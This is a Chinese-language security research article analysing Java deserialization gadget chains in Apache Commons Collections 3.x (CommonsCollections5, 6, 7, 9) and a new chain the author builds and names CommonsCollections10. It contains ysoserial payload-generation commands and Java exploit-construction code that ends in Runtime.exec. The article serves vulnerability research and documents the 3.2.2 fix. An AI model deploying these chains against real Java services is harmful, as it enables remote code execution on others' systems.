0x00 前言
本文繼續分析CommonsCollections:3.1的相關反序列化利用鏈,這次主要分析CommonsCollections5,6,7,9,以及我找的一個新利用鏈,這里暫且將其稱為10.
0x01 環境準備
CommonsCollections5,6,7,10用的還是commons-collections:3.1,jdk用7或8都可以。
CommonsCollections9適用于3.2.1
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "open /System/Applications/Calculator.app" > commonscollections5.ser
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections6 "open /System/Applications/Calculator.app" > commonscollections6.ser
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections7 "open /System/Applications/Calculator.app" > commonscollections7.ser
0x02 利用鏈分析
1. 背景回顧
前面提到過CommonsCollections1和3在構造AnnotationInvocationHandler時用到了Override.class。但是如果你在jdk8的環境下去載入生成的payload,會發生java.lang.Override missing element entrySet的錯誤。
這個錯誤的產生原因主要在于jdk8更新了AnnotationInvocationHandler參考
jdk8不直接調用s.defaultReadObject來填充當前的AnnotaionInvocationHandler實例,而選擇了單獨填充新的變量。
這里我們回顧一下,1和3的payload的觸發點是LazyMap.get函數,而觸發這個函數需要使得memberValues為LazyMap對象
顯然,jdk8的操作使得memberValues并不是我們構造好的LazyMap類型。在調試中,可以看到此時的memberValues為LinkedHashMap對象,該對象無法獲得entrySet的內容,所以會報前面的這個錯誤。
jdk8下CommonsCollections1和3無法成功利用了,但是如果我們可以找到一個替代AnnotationInvocationHandler的利用方式呢?這就是本文要講的CommonsCollections5,6,7所做出的改變。
2. 重新構造前半部分利用鏈—CommonsCollections5
CommonsCollections5與1的區別在于AnnotationInvocationHandler,后部分是相同的,所以這里不分析后部分。
AnnotationInvocationHandler在前面起到的作用是來觸發LazyMap.get函數,所以我們接下來就是要重新找一個可以觸發該函數的對象。這個對象滿足
- 類可序列化,類屬性有個可控的Map對象或Object
- 該類的類函數上有調用這個Map.get的地方
CommonsCollections5在這里用到了TiedMapEntry,來看一下
TiedMapEntry有一個map類屬性,且在getValue處調用了map.get函數。同時toString、hashCode、equals均調用了getValue函數,這里關注toString函數。
toString函數通常在與字符串拼接時,會被自動調用。那么接下來我們需要找一個對象滿足
- 類可序列化,類屬性有個Map.Entry對象或Object
- 該類會自動調用這個類屬性的toString函數或前面的另外幾種
這里選擇了BadAttributeValueExpException對象,他的readObject函數會自動調用類屬性的toString函數。
需要注意的是這里System.getSecurityManager為空,換句話說,就是當前的jvm環境不能啟用安全管理器。
來看一下一整個調用鏈
BadAttributeValueExpException.readObject()
-> valObj.toString() => TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()
3. 重新構造前半部分利用鏈—CommonsCollections6
CommonsCollections6是另一種替換方式,后半部分的利用鏈還是沒有變,不作分析。
我們在2中提到了除了CommonsCollections5用的toString外,還有hashCode和equals函數也調用了getValue函數。那么是否存在調用這兩個函數的對象函數呢?答案是肯定的!
CommonsCollections6利用了TiedMapEntry的hashCode函數,來觸發LazyMap.get
我們都知道HashSet集合里不會存在相同的key,那么是如何判斷是否是相同的key呢?這里就要用到key的hashCode函數了,如果key的值相同,其hashCode返回的值也是相同的。這里的HashCode的計算在HashSet的put和add函數完成,并且HashSet從序列化數據中還原出來時會自動調用put函數,這里就給我們提供了可控的地方。
先來看一下HashSet的readObject函數
繼續跟put函數,這里其實調用的是HashMap的put函數
其中對key調用的hash()函數會調用key.hashCode函數,那么現在就很清楚了,我們只要將key的值替換成構造好的TiedMapEntry對象就可以了。注意,這里的key值其實就是HashSet.add的實例,在HashSet里的HashMap類屬性只用到了Key。
整理一下利用鏈
HashSet.readObject()
-> HashMap.put(key) => key.hashCode => TiedMapEntry.hashCode
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()
4. 重新構造前半部分利用鏈—CommonsCollections7
CommonsCollections7用了Hashtable來代替AnnotationInvocationHandler,不同于前面兩種CommonsCollections7并未使用TiredMapEntry,而是用了相同key沖突的方式調用equals來觸發Lazy.get函數。
先來看一下Hashtable的readObject函數
繼續跟進reconstitutionPut
該函數將填充table的內容,其中第1236行僅當有重復數據沖突時,才會進入下面的if語句,這里我們繼續跟進equals函數
這里的equals函數取決于key的對象,利用鏈用的是LazyMap對象,實際調用的是父類AbstractMapDecorator的equals函數
這里又調用了map的equals函數,這里實際調用的是HashMap的父類AbstractMap的equals函數
在第495行調用了m.get函數,所以后面又是我們熟悉的LazyMap.get的套路了。
整理一下利用鏈
Hashtable.readObject()
-> Hashtable.reconstitutionPut
-> LazyMap.equals => AbstractMapDecorator.equals => AbstractMap.equals
-> m.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()
5. 利用鏈構造
CommonsCollections6和7的exp構造比較復雜,這里單獨拿出來講一下。
CommonsCollections6
經過前面的分析,我們可以知道CommonsCollections6需要將構造好的TiedMapEntry實例添加到HashSet的值上。
簡單的方法就是直接add
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add(entry);
復雜一點,就是ysoserail里的實現方法,采用反射機制來完成
其思路主要為:
- 實例化一個HashSet實例
- 通過反射機制獲取HashSet的map類屬性
- 通過反射機制獲取HashMap(map類屬性)的table(Node<K,V>)類屬性
- 通過反射機制獲取Node的key類屬性,并設置該key的值為構造好的TiedMapEntry實例
具體代碼如下
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");//獲取HashSet的map Field對象
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Permit.setAccessible(f);// 設置map可被訪問修改
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);// 獲取map實例的map類屬性
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");// 獲取HashMap的 table field
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Permit.setAccessible(f2);// 設置HashMap的field 可被訪問
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];// 獲取Node<k,v>實例
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");// 獲取Node的key field
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Permit.setAccessible(keyField);// 設置該Field可被訪問修改
keyField.set(node, entry);// 對node實例填充key的值為TiedMapEntry實例
經過上面的操作,最終的HashSet實例被我們嵌入了構造好的TiedMapEntry實例。
這里在調試的過程中,發現用ysoserail的Reflections來簡化exp,出來的結果有點不一樣,還沒有找到具體的原因。如果有師傅遇到過這種問題,歡迎一起討論討論!
CommonsCollections7
CommonsCollections利用的是key的hash沖突的方法來觸發equals函數,該函數會調用LazyMap.get函數
那么構造exp的關鍵就是構造一個hash沖突的LazyMap了。
這里大家可以跟一下String.hashCode函數,他的計算方法存在不同字符串相同hash的可能性,例如如下代碼
CommonsCollections7用的就是這個bug來制造hash沖突。
這里需要提一點的是觸發LazyMap.get函數
要走到第151行紅框框上,首先需要滿足的是map里不存在當前這個key
但是明顯在第一次不存在這個key后,會更新map的鍵值,這將導致下次同樣的key進來,就不會觸發后續的payload了。我們在寫exp的時候需要注意到這一點。
來看一下ysoserial的CommonsCollections7是怎么編寫的!
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
其中第兩次的put會使得會使得LazyMap2中增加了yy這個鍵值,為了保證反序列化后仍然可以觸發后續的利用鏈,這里需要將lazyMap2的yy鍵值remove掉。
6. 構造新CommonsCollections10
經過對前面1,3,5,6,7的分析,我們其實可以發現很多payload都是“雜交”的成果。那么我們是否能根據前面的分析,構造出一個新的CommonsCollections的payload呢?答案當然是肯定的,接下來講一下我找到的一個新payload利用。
這個payload為CommonsCollections6和7的結合,同CommonsCollections6類似,這里也用到了TiedMapEntry的hashCode函數
我們在分析Hashtable的reconstitutionPut函數時,看下圖
該函數在第1234行對key調用了一次hashCode函數,那么很明顯,如果key值被代替為構造好的TiedMapEntry實例,這里我們就能觸發LazyMap.get函數,后續的調用鏈就類似了。
整理一下利用鏈
Hashtable.readObject()
-> Hashtable.reconstitutionPut
-> key.hashCode() => TiedMapEntry.hashCode()
-> TiedMapEntry.getValue
-> TiedMapEntry.map.get() => LazyMap.get()
-> factory.transform() => ChainedTransformer.transform()
-> 前文構造的Runtime.getRuntime().exec()
其實從利用鏈來看,與CommonsCollections6的區別在于前部的觸發使用了不同的對象。
接下來,結合第5點的學習,我們來寫一下這個payload的利用鏈exp
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Map innerMap = new HashMap();
final Map innerMap2 = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
Hashtable hashtable = new Hashtable();
hashtable.put("foo",1);
// 獲取hashtable的table類屬性
Field tableField = Hashtable.class.getDeclaredField("table");
Permit.setAccessible(tableField);
Object[] table = (Object[])tableField.get(hashtable);
Object entry1 = table[0];
if(entry1==null)
entry1 = table[1];
// 獲取Hashtable.Entry的key屬性
Field keyField = entry1.getClass().getDeclaredField("key");
Permit.setAccessible(keyField);
// 將key屬性給替換成構造好的TiedMapEntry實例
keyField.set(entry1, entry);
// 填充真正的命令執行代碼
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return hashtable;
7. 梅子酒師傅的CommonsCollections9
找到上面CommonsCollections10時,在網上找了一下有沒有師傅已經挖到過了,一共找到下面幾位師傅
- https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java
- https://github.com/frohoff/ysoserial/pull/125/commits/4edf02ba7765488cac124c92e04c6aae40da3e5d
- https://github.com/frohoff/ysoserial/pull/116
一個一個來說
- 第一個Jayl1n師傅做的改變主要是最終的Runtime.getRuntime().exec改成了URLClassLoader.loadClass().newInstance的方式,前面用的還是CommonsCollections6,這里暫時不將其歸類為新的利用鏈。
- 第二個是梅子酒師傅提交的CommonsCollections9,主要利用的是CommonsCollections:3.2版本新增的DefaultedMap來代替LazyMap,因為這兩個Map有同樣的get函數可以被利用,這里不再具體分析。
- 第三個是navalorenzo師傅提交的CommonsCollections8,其利用鏈基于CommonsCollections:4.0版本,暫時不在本篇文章的分析范圍內,后面會好好分析一下。
0x03 總結
聯合前面兩篇文章CommonsCollections1、CommonsCollections3,在加上本文的CommonsCollections5,6,7,9,10。
由于網上已經有類似的文章做了總結,這里就簡單做一下CommonsCollections<=3.2.1下的反序列化利用鏈的總結。
- 起始點AnnotationInvocationHandler的readObjectBadAttributeValueExpException的readObjectHashSet的readObjectHashtable的readObject
- 重要的承接點LazyMap的getDefaultedMap的getTiedMapEntry的getValueProxy的invoke
- 終點ChainedTransformer的transformInvokerTransformer的transformConstantTransformer的transform
各exp的jdk適用版本
- jdk7 => CommonsCollection1、3
- jdk7 & jdk8 => CommonsCollections5,6,7,9,10
各exp的commons-collections適用版本
- commons-collections<=3.1 CommonsCollections1,3,5,6,7,10
- commons-collections<=3.2.1 CommonsCollections1,3,5,6,7,9,10
最后的最后,commons-collections:3.x版本的反序列化利用鏈就分析到這里,其實我相信如果想繼續挖可代替的利用鏈還是會有的,就像本文挖到的CommonsCollections10,如果各位師傅有興趣可以繼續挖下去,也歡迎和各位師傅一起交流。
后續還會把commons-collections:4版本的利用鏈做一個分析,歡迎一起交流:)
commons-collections:3.2.2及以上版本的改變
前面的分析并沒有提到3.2.2版本發生了啥事,導致了利用鏈的失效,這里簡單提一下
3.2.2版本對InvokerTransformer增加了readObject函數,并且做了是否允許反序列化的檢查,在FunctorUtils.checkUnsafeSerialization函數內。
這里UNSAFE_SERIALIZABLE_PROPERTY的值默認為false,如果需要為true,需要在運行時指定。
所以在使用InvokerTransformer作為反序列化利用鏈的一部分時,會throw一個exception。除了InvokerTransformer類外,還有CloneTransformer, ForClosure, InstantiateFactory, InstantiateTransformer, InvokerTransformer,
PrototypeCloneFactory, PrototypeSerializationFactory, WhileClosure。所以在3.2.2版本以上,基本上利用鏈都已經廢了。
當然,這種方法治標不治本,如果可以在這些類以外,構造一個利用鏈同樣可以達到前面的效果。